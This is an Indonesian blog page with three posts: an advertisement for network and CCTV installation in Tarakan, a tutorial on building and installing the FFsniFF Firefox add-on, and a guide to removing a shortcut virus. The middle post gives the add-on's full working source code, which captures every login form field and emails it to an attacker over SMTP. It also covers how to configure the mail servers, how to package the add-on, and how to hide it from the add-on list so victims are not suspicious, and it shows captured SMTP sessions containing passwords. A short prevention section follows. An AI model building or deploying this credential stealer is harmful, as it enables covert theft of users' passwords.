JASA INSTALASI JARINGAN ( LAN,MAN,WAN,WIFI )

•Maret 2, 2011 • Tinggalkan sebuah Komentar

———————————————————

Author : AIDIL,S.Kom

———————————————————

Kami melayani Jasa Instalasi Jaringan Wireless (Wifi), Rt-Rw Net dan system security CCTV kamera baik untuk dinas, kantor, sekolah maupun pribadi khusus untuk  wilayah di kota Tarakan.

I. JASA INSTALASI JARINGAN WIRELESS (WIFI)
Kami melayani jasa instalasi jaringan wireless (wifi) untuk dinas, kantor, perusahaan, maupun sekolah yang ada di kota Tarakan yang bisa menghubungkan antar komputer menjadi sebuah network, baik untuk aplikasi data, voice, tele conference, video conference, VOIP maupun aplikasi security cctv camera system.

Jaringan Wifi yang telah kami bangun saat ini mampu hingga jangkauan 70 km, aplikasi point to multi point sedangkan untuk aplikasi point to point hingga jangkauan 100 km denga syarat LOS tanpa penghalang gunung diantaranya.

II. JASA INSTALASI RT-RW NET
Kami melayani jasa instalasi Rt-Rw Net yang telah dilengkapi dengan Firewall, User-manager, Bandwidth management, Proxy, captive Portal, MRTG, dan Billing System. system dan performa yang handal dan mudah untuk memanagementnya, baik management user, maupun management bandwidth tiap-tiap user.

1. Firewall, packet dan data dan security filter.
2. User Manager, management user.
3. Bandwidth Management, management bandwidth untuk masing-masing user.
4. Proxy, Chache proxy.
5. MRTG, Monitoring bandwidth yang digunakan.
6. Billing System, System Billing untuk pelanggan.

Untuk jaringan Rt-Rw net yang cukup besar dengan jarak yang jauh, user yang banyak, dan menggunakan beberapa repeater kami bisa mengitegrasikan system yang termanagement, hanya dari sebuah user-manager saja sehingga sangat mudah untuk memanagenya.

Jaringan Wifi maupun Rt-Rw net yang telah kami bangun saat ini mampu hingga jangkauan 70 km tanpa repeater, aplikasi point to multi point sedangkan untuk aplikasi point to point hingga jangkauan 100 km denga syarat LOS tanpa penghalang gunung diantaranya.

III. JASA INSTALASI HOTSPOT
Kami melayani jasa instalasi Hotspot baik untuk dinas, hotel, kantor, maupun, sekolah yang ada di kota Tarakan  dengan system yang telah dilengkapi dengan Firewall, User-manager, Bandwidth management, Proxy, captive Portal, MRTG, dan Billing System. system dan performa yang handal dan mudah untuk memamanagementnya, baik management user, maupun management bandwidth tiap-tiap user.

1. Firewall, packet dan data dan security filter.
2. User Manager, management user.
3. Bandwidth Management, management bandwidth untuk masing-masing user.
4. Proxy, Chache proxy.
5. MRTG, Monitoring bandwidth yang digunakan.
6. Billing System, System Billing untuk pelanggan.

Untuk jaringan hotspot yang cukup besar dengan jarak yang jauh, user yang banyak, dan menggunakan beberapa repeater kami bisa mengitegrasikan system yang termanagement, hanya dari sebuah billing dan user-manager saja sehingga sangat mudah untuk memanagenya.

IV. JASA INSTALASI CCTV CAMERA
Kami melayani jasa instalasi system security CCTV camera system untuk dinas, hotel, kantor, maupun, sekolah, toko baik manual yang diakses via layar TV atau cctv camera system yang bisa diakses dan dimonitor via Jaringan komputer, wireless maupun system yang bisa dikases maupun dimonitor via internet.

Hub : Aidil,S.Kom ( 081347072983 ) / ( 085246392500 )

Menjaring Password dengan Firefox Sniffer

•Februari 16, 2011 • Tinggalkan sebuah Komentar

Firefox adalah browser andalan saya, terutama untuk urusan penetration testing. Firefox memiliki banyak sekali addon/extension yang sangat membantu untuk bermacam-macam urusan. Namun tidak semua addon membantu pengguna, ada juga addon yang menyadap dan mengirimkan username/password pengguna ketika login ke email attacker, addon itu adalah FFsniFF.

Dalam artikel ini saya akan menunjukkan simulasi penyadapan password di browser korban dan mengirimkan hasil sadapannya ke email saya di ilmuhacking.com. Setelah itu saya akan jelaskan cara kerja FFsniFF dengan membedah source codenya.
Sekilas tentang addon Firefox

Addon firefox adalah program dalam javascript yang diload dan diaktifkan setiap firefox dijalankan. Addon ini diperlukan untuk melakukan hal-hal yang tidak disediakan oleh firefox (firefox hanya menyediakan fungsi-fungsi dasar saja). Antarmuka addon ada yang berbentuk ikon di status bar, toolbar atau boleh juga tidak memiliki antarmuka sama sekali. FFsniFF adalah contoh addon yang tidak memiliki antarmuka pengguna sama sekali, hal ini bisa dimaklumi karena memang addon ini harus bersifat stealth.

Addon dipaketkan dan disebarkan dalam bentuk file ZIP, namun ekstensi filenya bukan zip melainkan XPI (dibaca “zippy”). Dalam file xpi tersebut ada banyak file dan folder lain seperti source code javascript, gambar dan file xml deskriptor. File-file yang umumnya ada dalam sebuah paket zippy adalah:

1
2
3
4
5
6
7
8
9
10
11
exampleExt.xpi:
              /install.rdf                   
              /components/*  
              /components/cmdline.js                   
              /defaults/
              /defaults/preferences/*.js     
              /plugins/*                        
              /chrome.manifest                
              /chrome/icons/default/*       
              /chrome/
              /chrome/content/

install.rdf adalah deskriptor untuk keperluan instalasi. Selain itu di dalam paket itu juga ada file javascript yang berisi kode program yang menjalankan fungsi addon. Selebihnya adalah file-file untuk menangani user interface addon.

Membuat paket instalasi ffsniff.xpi

Langkah awal saya harus membuat paket instalasi addon ffsniff.xpi. Untuk itu saya harus mengunduh file sumber FFsniFF dari http://Jarkomdatppkia/ffsniff.xpi. Setelah diunduh, file tar.gz itu harus dimekarkan. Isi dari paket itu setelah dimekarkan adalah:

1
2
3
4
5
6
7
8
9
pkg_creator.py
src/
src/install.rdf
src/chrome/
src/chrome/content/
src/chrome/content/ffsniff/
src/chrome/content/ffsniff/ffsniffOverlay.xul
src/chrome/content/ffsniff/ffsniffOverlay_orig.js
src/chrome/content/ffsniff/contents.rdf

File tar.gz itu tidak bisa langsung diinstall ke firefox karena masih berbentuk kumpulan file yang harus diubah dan dibungkus menjadi paket zippy (xpi). Sebenarnya untuk membuat paket zippy sudah disediakan script pkg_creator.py dalam bahasa python, namun dalam artikel ini saya tidak memakai script itu agar saya bisa menunjukkan bagaimana proses pembuatan file xpi dari source code.

Setelah source berhasil didownload, berikutnya saya harus membuat file ffsniffOverlay.js, caranya adalah dengan mengcopy file ffsniffOverlay_orig.js dalam nama ffsniffOverlay.js. Setelah itu ffsniffOverlay.js akan saya edit untuk mengubah beberapa variabel berikut:

1
2
3
4
5
6
7
var send_from_host = "<SEND_FROM_HOST>";
var send_from = "<SEND_FROM>";
var send_to = "<SEND_TO>";
var subject = "<SUBJECT>";
var smtp_host = "<SMTP_HOST>";
var smtp_port = "<SMTP_PORT>";
var enable_hide = "<HIDDING>";

Konfigurasi smtp untuk @jarkomdatppkia.wordpress.com

MX record ilmuhacking.comMX record jarkomdatppkia.wordpress.com

Variabel-variabel tersebut adalah parameter untuk mengirim email melalui smtp. smtp_host berisi alamat smtp server yang dipakai untuk mengirim email. Sebaiknya gunakan smtp server yang bertanggung jawab untuk domain email yang kita tuju, dalam kasus ini domain email tujuan adalah @jarkomdatppkia.wordpress.com. Oleh karena itu saya harus mencari smtp server yang bertanggung jawab untuk domain jarkomdatppkia.wordpress.com. Cara mencarinya adalah dengan melihat MX record dari DNS ilmuhacking.com. Anda bisa gunakan layanan dnswatch.info untuk mencari MX record ilmuhacking.com. Perhatikan gambar di samping, terlihat bahwa ternyata smtp server untuk ilmuhacking.com berada di host yang sama, jadi smtp_host saya isi dengan ilmuhacking.com. Pada domain lain biasanya mail server adalah mail.domainanda.com.

send_from dan send_to saya isi dengan nilai yang sama, yaitu testing@jarkomdatppkia.wordpress.com, alamat itu adalah alamat email asal dan tujuan. Perhatikan bahwa domain email sumber dan tujuan harus dalam domain yang sama (jarkomdatppkia.wordpress.com) karena smtp server umumnya tidak bersedia mengirimkan email ke domain lain (istilahnya open relay) bila pengirim tidak memasukkan password dulu (anonymous).

enable_hide sengaja saya isi “no” untuk kemudahan, dalam kasus nyata variabel ini harus diisi dengan “yes” agar tersembunyi dari daftar addon sehingga tidak membuat korban curiga. Bila anda masih coba-coba, sebaiknya isi dulu dengan “no”.

smtp_port adalah port smtp server, port standar untuk layanan smtp adalah 25. subject adalah subject dari email yang akan berisi password korban.

1
2
3
4
5
6
7
var send_from_host = "jarkomdatppkia.wordpress.com";
var send_from = "testing@jarkomdatppkia.wordpress.com";
var send_to = "testing@jarkomdatppkia.wordpress.com";
var subject = "Log Firefox Sniffer";
var smtp_host = "jarkomdatppkia.wordpress.com";
var smtp_port = "25";
var enable_hide = "no";

Konfigurasi smtp untuk @telkom.net

Agar lebih memahami tentang konfigurasi email ini, saya beri contoh lain dengan email tujuan ke telkom.net.Dengan cara yang sama saya harus membaca MX record dari domain telkom.net, ternyata MX record untuk telkom.net ada 2: mx1.mail.plasa.com dan mx2.mail.plasa.com. Terserah mau pilih yang mana saja. Karena memakai smtp server telkom.net, email tujuan harus berada di domain @telkom.net, di sini saya pakai rizki.wicaksono@telkom.net. Alamat asal saya isi sama dengan email tujuan. Ini berarti saya mengirim email dari dan ke email yang sama, itu tidak masalah. send_from_host saya isi dengan telkom.net karena ini adalah domain. Jadi konfigurasi smtp untuk email tujuan @telkom.net adalah sebagai berikut:

1
2
3
4
5
6
7
var send_from_host = "telkom.net";
var send_from = "Jarkomdatppikia@telkom.net";
var send_to = "Jarkomdatppkia@telkom.net";
var subject = "Log Firefox Sniffer";
var smtp_host = "mx1.mail.plasa.com";
var smtp_port = "25";
var enable_hide = "no";

Membuat file ffsniff.jar

Setelah variabel-variabel di file ffsniffOverlay.js sudah diubah, langkah berikutnya adalah membuat file ffsniff.jar. Walaupun ekstensi filenya adalah jar, sebenarnya ini adalah file zip biasa. File-file yang dimasukkan dalam ffsniff.jar adalah:

content/ffsniff/contents.rdf
content/ffsniff/ffsniffOverlay.js
content/ffsniff/ffsniffOverlay.xul

Hasil file ffsniff.jar harus mengikutsertakan folder content/ffsniff, tidak boleh 3 file itu dizip tanpa mengikutsertakan foldernya. Jadi untuk membuat file ffsniff.jar harus berada di parent folder dari content/ffsniff. Anda bebas menggunakan program apa saja untuk kompresi zip ini, saya sendiri memakai WinRAR. Ketika dibuka dengan WINRAR isi dari ffsniff.jar tampak seperti gambar di bawah ini, perhatikan kolom pathnya harus berisi seperti itu.

ffsniff.jar list filesffsniff.jar list files

Membuat file ffsniff.xpi

Setelah mendapatkan file ffsniff.jar, selanjutnya saya harus membuat paket instalasi ffsniff.xpi. File ini juga file zip biasa, walaupun ekstensinya .xpi. Isi file ffsniff.xpi adalah dua file berikut:

install.rdf
chrome/ffsniff.jar

Jangan lupa juga ffsniff.jar harus dizip dalam folder chrome. Gambar di bawah ini menunjukkan ffsniff.xpi yang dibuka dengan winrar, perhatikan juga kolom pathnya harus tepat seperti itu.

ffsniff.xpi file listffsniff.xpi file list

Instalasi Firefox Sniffer

Oke, kini selesai sudah proses pembuatan file instalasi addon FFsniffer. Kini saya bisa menginstall addon tersebut. Cara instalasi file xpi adalah dengan membuka Firefox, kemudian memasukkan path lokasi file xpi pada addressbar firefox. Setelah muncul daftar file di firefox, klik file xpi yang akan diinstall. Cara instalasi FFsniFF diperlihatkan pada gambar di bawah ini. Setelah berhasil install jangan lupa untuk restart firefox anda.

instalasi firefox snifferinstalasi firefox sniffer

Mencoba login ke yahoo

Kini saya akan mencoba login ke yahoo dengan username rizkiwicaksono. Setelah login, saya periksa inbox email testing@jarkomdatppkia.wordpress.com. Ternyata email hasil sniff password ketika login ke yahoo sudah masuk. Isi emailnya terlihat pada gambar di bawah ini.

log sniffer emaillog sniffer email

Dalam email tersebut terlihat bahwa FFsniff tidak hanya mencatat username dan password tapi semua field dengan tag input (input type=”xxx”) dari form, yaitu: password field, hidden field, text field, checkbox. Selain itu FFsniff juga mencatat URL, nama field, jenis dan nilainya. FFsniFF hanya mengirimkan field yang ada isinya, bila field tersebut kosong, field tersebut tidak akan dikirim.

Email Sniffer Log

Mari kita perhatikan email yang dikirimkan FFsniFF. Header lengkap email yang dikirim FFsniff adalah sebagai berikut:

1
2
3
4
5
6
7
8
9
Return-path: <testing@jarkomdatppkia.wordpress.com.com>
Envelope-to: testing@jarkomdatppkia.wordpress.com
Delivery-date: Fri, 27 Feb 2009 03:23:48 -0600
Received: from [202.43.xxx.xxx] (port=23982 helo=jarkomdatppkia.wordpress.com)
     by gator669.hostgator.com with esmtp (Exim 4.69)
     (envelope-from <testing@jarkomdatppkia.wordpress.com>)
     id 1Lcywa-0002DK-Jj
     for testing@jarkomdatppkia.wordpress.com; Fri, 27 Feb 2009 03:23:48 -0600
Subject: Log Firefox Sniffer

Dalam email tersebut hanya ada 1 header Received, yaitu dari host 202.43.xxx.xxx (ip lengkap saya sensor). Hal ini menunjukkan bahwa smtp server yang saya pakai kebetulan adalah smtp server yang paling dekat dengan si penerima sehingga tidak perlu dioper ke smtp server lain. Berikut ini adalah header email FFsniFF yang dikirim ke telkom.net:

Return-Path: <Jarkomdatppkia@telkom.net>
Received: from [125.160.17.193] (HELO mx1.mail.telkom.net)
  by f1.c.plasa.com (CommuniGate Pro SMTP 4.3.9)
  with ESMTPS id 690188427 for Jarkomdatppkia@telkom.net; Wed, 04 Mar 2009 11:05:27 +0700
Received: from mx1.mail.plasa.com ([222.124.18.71])
	by mx1.mail.telkom.net  with esmtp id 1LeiKy-0001qP-O1
	for Jarkomdatppkia@telkom.net; Wed, 04 Mar 2009 11:04:20 +0700
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AggYAH+MrUnKK6ce/2dsb2JhbACBTosbIQGGVoIPsFshAQKSPQEDgSwG
X-IronPort-AV: E=McAfee;i="5300,2777,5542"; a="119895912"
Received: from xxxxdtp.net.id (HELO telkom.net) ([202.43.xx.xx])
  by mx1.mail.plasa.com with ESMTP; 04 Mar 2009 11:02:49 +0700
Subject: Log Firefox Sniffer
X-HAM-Check: YES
Date: Wed, 04 Mar 2009 11:05:27 +0700
Message-ID: <auto-000690188427@f1.c.plasa.com>

Dalam email ke telkom.net ada 3 header Received. Yang pertama adalah mx1.mail.plasa.com, ini adalah smtp server yang saya pakai di FFsniFF. Kemudian dari situ email dioper ke mx1.mail.telkom.net, dan terakhir dioper lagi ke f1.c.plasa.com, yang merupakan smtp server yang paling dekat dengan si penerima. Jadi sebenarnya saya bisa juga langsung mengirim email ke telkom.net dengan menggunakan smtp server f1.c.plasa.com. Namun karena MX record telkom.net menunjuk ke mx1.mail.telkom.net lebih baik saya pakai smtp server itu, walaupun perlu dioper sebanyak 2 kali untuk sampai di tujuan.

FFsniff mengirimkan email tersebut secara anonymous, artinya ffsniff tidak melakukan authentication sebelum mengirimkan email. SMTP server tidak mungkin menolak email yang ditujukan untuk domain yang dikelola dirinya sendiri, walaupun pengirimnya adalah anonymous (tanpa authentication), sebab bila smtp server menolak email untuk dirinya sendiri maka orang lain tidak akan bisa mengirim email ke domain itu.

Karena dikirimkan secara anonymous maka email tersebut tidak bisa ditujukan ke domain lain selain jarkomdatppkia.wordpress.com karena smtp server tersebut kemungkinan besar akan menolak dijadikan titik relay pengiriman email ke domain lain. Bila ingin mengirimkan email untuk domain lain tidak bisa secara anonymous, sebelumnya harus memasukkan perintah smtp AUTH LOGIN dan memasukkan username/password dalam base64. Saya tidak akan menjelaskan terlalu panjang soal email, di lain kesempatan akan saya bahas detil cara kerja email.

Pencegahan

Bad guys already know about FFsniff since 3 years ago

FFsniff diciptakan pada bulan maret 2006, tepat 3 tahun yang lalu sehingga addon ini sudah dikenal luas sebagai salah satu tools hacking. Sekarang bagaimana caranya agar kita tidak menjadi korban addon ini?
Berikut ini tips agar tidak menjadi korban FFsniff:

  • Jangan sembarangan menginstall addon yang tidak anda kenal. Install addon hanya dari situs resmi Firefox Addon https://addons.mozilla.org/
  • Install Addon hanya dari situs yang menggunakan https. Penggunaan https ini sangat penting agar anda tidak tersesat mengakses situs palsu yang berusaha memberikan anda addon yang sudah diracuni spyware. Mengenai pentingnya https ini bisa anda baca di artikel: understanding https
  • firefox safe modefirefox safe mode

  • Bila anda berada di komputer publik, gunakan Firefox dalam Safe Mode (mode aman). Mode ini adalah mode menjalankan firefox dengan mematikan semua addon yang ada.
  • Walaupun FFsniFF dapat menyembunyikan diri dari daftar addon Firefox, namun tetap saja dia tidak mungkin bisa bersembunyi di file system. Jika anda ragu apakah firefox anda bersih dari FFsniFF, silakan buka folder Profile Mozilla Firefox anda. Biasanya di:
  • 1
    C:\Documents and Settings\<username>\Application Data\Mozilla\Firefox\Profiles\<some-random-text>\extensions\

    firefox extension folderfirefox extension folder

    Kemudian perhatikan file install.rdf, dalam file itu terlihat nama dan deskripsi addon. Atau anda juga bisa melihat folder di dalamnya lagi untuk membaca file dot js dari ffsniff.

    How FFsniff Works

    Saya telah menunjukkan mulai dari mengunduh, menginstall dan kemudian mendapatkan password ketika ada yang login di firefox yang telah dipasang addon ini. Kini saatnya saya menjelaskan cara kerja FFsniff ini. Inti dari FFsniff ini ada pada file ffsniffOverlay.js. File ini berisi semua code yang melakukan sniffing. Berikut adalah source code lengkap ffsniffOverlay.js.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    var transportService = Components.classes["@mozilla.org/network/socket-transport-service;1"].getService(Components.interfaces.nsISocketTransportService);
    var transport = "";
    var outstream = "";
    var instream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream);
    var stream = "";
    // find out FF version
    var appInfo = Components.classes["@mozilla.org/xre/app-info;1"].getService(Components.interfaces.nsIXULAppInfo);
    var versionChecker = Components.classes["@mozilla.org/xpcom/version-comparator;1"].getService(Components.interfaces.nsIVersionComparator);
    
    var data = "";
    var data0 = "EHLO " + send_from_host + "\r\n"
    var data1 = "MAIL FROM: <" + send_from + ">\r\n"
    var data2 = "RCPT TO: <" + send_to + ">\r\n"
    var data3 = "DATA\r\n"
    var data4 = "\r\n.\r\n"
    var data5 = "QUIT\r\n"
    function send_data() {
    	transport = transportService.createTransport(null, 0, smtp_host, smtp_port, null);
    	outstream = transport.openOutputStream(0, 0, 0);
    	stream = transport.openInputStream(0, 0, 0);
    	instream.init(stream);
    
    	// this will avoid 'Improper use of SMTP command pipelining'
    	// error on SMTP servers
    	outstream.write(data0, data0.length);
    	while (instream.available() == 0) {}
    	instream.read(instream.available());
    
    	outstream.write(data1, data1.length);
    	while (instream.available() == 0) {}
    	instream.read(instream.available());
    
    	outstream.write(data2, data2.length);
    	while (instream.available() == 0) {}
    	instream.read(instream.available());
    
    	outstream.write(data3, data3.length);
    	while (instream.available() == 0) {}
    	instream.read(instream.available());
    
    	outstream.write(data, data.length);
    	// don't read here cos no data was send to us
    	//while (instream.available() == 0) {}
    	//instream.read(instream.available());
    
    	outstream.write(data4, data4.length);
    	while (instream.available() == 0) {}
    	instream.read(instream.available());
    
    	outstream.write(data5, data5.length);
    	while (instream.available() == 0) {}
    
    	outstream.close();
    	instream.close();
    }
    if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
    	var workingThread = function() {
    	};
    
    	workingThread.prototype = {
    		run: function() {
    			send_data();
    		}
    	};
    } else {
    	var runnable = {
    		run: function() {
    			send_data();
    		}
    	}
    }
    function sniff() {
    	// if we are running under 3.0 or later
    	if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
    		var thread = Components.classes["@mozilla.org/thread-manager;1"].getService().newThread(0);
    		thread.dispatch(new workingThread(), thread.DISPATCH_NORMAL);
    	} else {
    		var thread = Components.classes["@mozilla.org/thread;1"].getService(Components.interfaces.nsIThread);
    		thread.init(runnable, 512*1024, Components.interfaces.nsIThread.PRIORITY_NORMAL, Components.interfaces.nsIThread.SCOPE_LOCAL, Components.interfaces.nsIThread.STATE_UNJOINABLE);
    	}
    }
    
    function do_sniff() {
    	var ok = 0;
    	var hesla = window.content.document.getElementsByTagName("input");
    	data = "";
    	for (var i = 0; i < hesla.length; i++) {
    		if (hesla[i].value != "") {
    			if (hesla[i].type == "password") {
    				ok = 1;
    			}
    			if (hesla[i].name == "") {
    				data += hesla[i].type + ":" + "<blank>:" + hesla[i].value + "\n";
    			}
    			else {
    				data += hesla[i].type + ":" + hesla[i].name +":" + hesla[i].value + "\n";
    			}
    		}
    	}
    	if (ok == 1) {
    		data = "Subject: " + subject + "\r\n\r\n" + window.top.content.document.location + "\n" + "type:name:value\n" + "---------------\n" + data;
    		sniff()
    	}
    }
    function hide_me() {
    	var RDFService = Components.classes["@mozilla.org/rdf/rdf-service;1"].getService(Components.interfaces.nsIRDFService);
    	var Container = Components.classes["@mozilla.org/rdf/container;1"].createInstance(Components.interfaces.nsIRDFContainer);
    	var extensionDS = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).datasource;
    	var root = RDFService.GetResource("urn:mozilla:item:root");
    	var nameArc = RDFService.GetResource("http://www.mozilla.org/2004/em-rdf#name");
    	Container.Init(extensionDS, root);
    	var elements = Container.GetElements();
    	while (elements.hasMoreElements()) {
    		var element = elements.getNext();
    		var name = "";
    		var target = extensionDS.GetTarget(element, nameArc, true);
    		if (target) {
    			name = target.QueryInterface(Components.interfaces.nsIRDFLiteral).Value;
    			if (name == "FFsniFF") {
    				Container.RemoveElement(element, true);
    			}
    		}
    	}
    }
    if (enable_hide == "yes") {
    	hide_me();
    }
    window.addEventListener("submit", do_sniff, false);

    Perhatikan baris ke-127 pada source di atas, bila enable_hide diset “yes”, maka ffsniff akan menjalankan fungsi hide_me(). hide_me() bertugas menghilangkan FFsniff dari daftar addon agar kehadirannya tidak disadari pengguna. Cara menyembunyikan diri adalah dengan cara menjalankan fungsi Container.RemoveElement (baris ke-122) hanya bila element itu bernama “FFsniFF”.

    how ffsniff workshow ffsniff works

    Fungsi sniffing sesungguhnya ada pada baris terakhir. Pada baris terakhir, terdapat fungsi addEventListener(). Fungsi ini berguna untuk mengaitkan event submit dengan fungsi do_sniff. Artinya fungsi do_sniff akan dijalankan setiap kali terjadi event submit. Event submit akan terjadi bila ada request POST di browser, antara lain dengan melalui klik tombol bertipe submit (input type=”submit”). Namun tidak hanya melalui klik saja, submit bisa juga dilakukan oleh javascript. Dengan cara apapun, bila terjadi request POST di browser, event submit akan terjadi, dan artinya fungsi do_sniff juga akan dipanggil. Untuk lebih jelasnya perhatikan gambar di atas.

    Kini fokus perhatian kita pindah ke fungsi do_sniff (baris ke-84). Dalam fungsi sniff, ffsniffer mengambil daftar semua tag <input> yang ada dengan fungsi window.content.document.getElementsByTagName(“input”). Kemudian semua field tersebut akan digabung dalam variabel string data. Hanya bila dalam form tersebut terdapat password field (input type=”password”), maka ffsniffer akan mengirimkan email, bila hanya form biasa (bukan form login), ffsniffer tidak akan mengirim email.

    Bila mengandung password field, berikutnya fungsi sniff (baris ke-73) akan dijalankan. Fungsi sniff ini tugasnya hanya membuat dan menjalankan thread. Thread tersebut bertugas melakukan pengiriman email dengan memanggil fungsi send_data (baris ke-17). Fungsi send_data akan membuka koneksi tcp ke smtp server, kemudian mengirimkan perintah smtp untuk mengirim email. Dengan menggunakan sniffer Wireshark, berikut adalah komunikasi yang terjadi ketika email dikirim ke telkom.net:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    220-mx1.mail.plasa.com ESMTP
    220 UBE, porn, and abusive content not allowed
    EHLO telkom.net
    250-mx1.mail.plasa.com
    250-8BITMIME
    250 SIZE 20971520
    MAIL FROM: <Jarkomdatppkia@telkom.net>
    250 sender <Jarkomdatppkia@telkom.net> ok
    RCPT TO: <Jarkomdatppkia@telkom.net>
    250 recipient <Jarkomdatppkia@telkom.net> ok
    DATA
    354 go ahead
    Subject: Log Firefox Sniffer
    
    https://login.yahoo.com/config/login?
    
    type:name:value
    ---------------
    hidden:.tries:2
    hidden:.intl:us
    hidden:.u:6220o3t4qrv31
    hidden:.v:0
    hidden:.challenge:Uhh09ZXeYC4rgGkrSkirh.TXeHk_
    hidden:hasMsgr:0
    hidden:.chkP:Y
    hidden:.done:http://my.yahoo.com
    hidden:.pd:_ver=0&c=&ivt=&sg=
    text:login:rizkiwicaksono
    password:passwd:inipasswordku
    checkbox:.persistent:y
    submit:.save:Sign In
    .
    250 ok:  Message 119895912 accepted
    221 mx1.mail.plasa.com
    QUIT

    Sedangkan komunikasi yang terjadi ketika email dikirim ke @jarkomdatppkia.wordpress.com adalah:

    220-gator669.hostgator.com ESMTP Exim 4.69 #1 Tue, 03 Mar 2009 22:15:33 -0600 
    220-We do not authorize the use of this system to transport unsolicited, 
    220 and/or bulk e-mail.
    EHLO jarkomdatppkia.wordpress.com
    250-gator669.hostgator.com Hello jarkomdatppkia.wordpress.com [202.43.xxx.xxx]
    250-SIZE 52428800
    250-PIPELINING
    250-AUTH PLAIN LOGIN
    250-STARTTLS
    250 HELP
    MAIL FROM: <testing@jarkomdatppkia.wordpress.com>
    250 OK
    RCPT TO: <testing@jarkomdatppkia.wordpress.com>
    250 Accepted
    DATA
    354 Enter message, ending with "." on a line by itself
    Subject: Log Firefox Sniffer
    
    https://login.yahoo.com/config/login?
    
    type:name:value
    ---------------
    hidden:.tries:1
    hidden:.intl:us
    hidden:.u:eljvtc94qs023
    hidden:.v:0
    hidden:.challenge:7FWzfTnmnC3Njv1YadcWnM61LyIw
    hidden:hasMsgr:0
    hidden:.chkP:Y
    hidden:.done:http://my.yahoo.com
    hidden:.pd:_ver=0&c=&ivt=&sg=
    text:login:Jarkomdatppkia
    password:passwd:inipasswordakujuga
    checkbox:.persistent:y
    submit:.save:Sign In
    .
    250 OK id=1LeiW6-0002zu-LA
    QUIT
    221 gator669.hostgator.com closing connection

    Dengan selesainya eksekusi send_data() maka ffsniff telah selesai menjalankan tugasnya mengirim email. Selanjutnya ffsniff akan “tidur” menunggu dipanggil oleh event submit dan mulai kembali proses penyadapan password.

Virus Shortcut Menyerang Kampus STMIK PPKIA Tarakan

•Desember 28, 2010 • 3 Komentar

———————————————————

Author : AIDIL,S.Kom

———————————————————

Akhir – akhir ini banyak sekali virus yang menginfeksi komputer laptop mahasiswa stmik ppkia tarakan, virus tersebut bernama virus shortcut.  Staf Instalasi  stmik ppkia tarakan telah melakukan penelitian mengenai virus yang marak beredar dikalangan kampus stmik ppkia tarakan. Virus ini penulis dapatkan secara tidak sengaja, ketika sedang  melakukan maintenance terhadap komputer mahasiswa stmik ppkia tarakan.

Setelah diamati memang benar banyak sekali file-file shortcut yang bertebaran di setiap folder yang ada di dalam komputernya, seperti Microsoft.lnk, dan juga file shortcut dengan nama seperti nama folder yang dimiliki. Akhirnya dengan naluri bagian Staf Instalasi  stmik ppkia tarakan yang tidak bisa mendengar ada virus baru yang tidak terdeteksi oleh antivirus, maka dengan segera keluhan tersebut langsung dianalisa lebih lanjut dan dibuatkan cara mengatasinya.

Ciri-ciri dari virus tersebut adalah :

  1. Di folder My Documents terdapat sebuah file yang bernama database.mdb, dan ternyata ini adalah file induknya.
  2. File Autorun.inf, Thumb.db, Microsoft.lnk di setiap driver, folder dan flash disk sampai pada SUB Folder yang ke-2.
  3. Membuat File Duplikat setiap folder dengan extensi .lnk, maksimal 5 nama folder pertama, misalnya kalau di C:\Windows ada banyak maka hanya akan diambil 5 nama pertama saja. Dan berlaku sampai sub folder yang ke-2

Oleh sebab itu ada beberapa cara yang harus dilakukan untuk memberantas virus yang menyebalkan ini :

  • Matikan proses dari file WSCRIPT yang terletak di C:\Windows\System32, dengan cara menggunakan tools seperti CProcess, HijackThis atau dapat juga menggunakan Task Manager dari windows.
  • Sebelumnya matikan dulu proses SYSTEM RESTORE.
  • Setelah dimatikan proses dari Wscript tersebut, kita harus mendetele atau merename dari pada file tersebut agar tidak digunakan (untuk sementara) lagi oleh virus tersebut. Sebagai catatan, kalau kita merename dari file Wscript.exe tersebut dengan automatis akan dikopikan lagi di folder tersebut, oleh sebab itu kita harus mencari di mana file Wscript.exe yang lainnya biasanya ada di C:\Windows\$NtServicePackUninstall$, C:\Windows\ServicePackFiles\i386. Tidak seperti virus-virus VBS lainnya, kita bisa mengganti Open With dari file VBS menjadi Notepad, virus ini berextensi MDB yang berarti adalah file Microsoft Access. Jadi Wscript akan menjalankan file DATABASE.MDB seolah-olah dia adalah file VBS. (Virus pintar kan)

Wscript.exe //e:VBScript \”C:\Documents and Settings\Administrator\My Documents\database.mdb\””

  • Delete file induknya yang ada di C:\Documents and Settings\<user>\My Documents\database.mdb, agar setiap kali komputer  dijalankan tidak akan meload file tersebut. Dan jangan lupa kita buka juga MSCONFIG, disable perintah yang menjalankannya.
  • Sekarang kita akan mendelete file-file Autorun.INF. Microsoft.INF dan Thumb.db. dengan cara, klik tombol START, ketik CMD, pindah ke drive yang akan dibersihkan, misalnya drive C:\, maka yang harus kita lakukan adalah

Ketik C:\del Microsoft.inf /s   = perintah ini akan mendelete semua file microsoft.inf di seluruh folder di drive C: , kalau mau pindah drive tinggal diganti nama drivenya saja contoh : D:\del Microsoft.inf /s

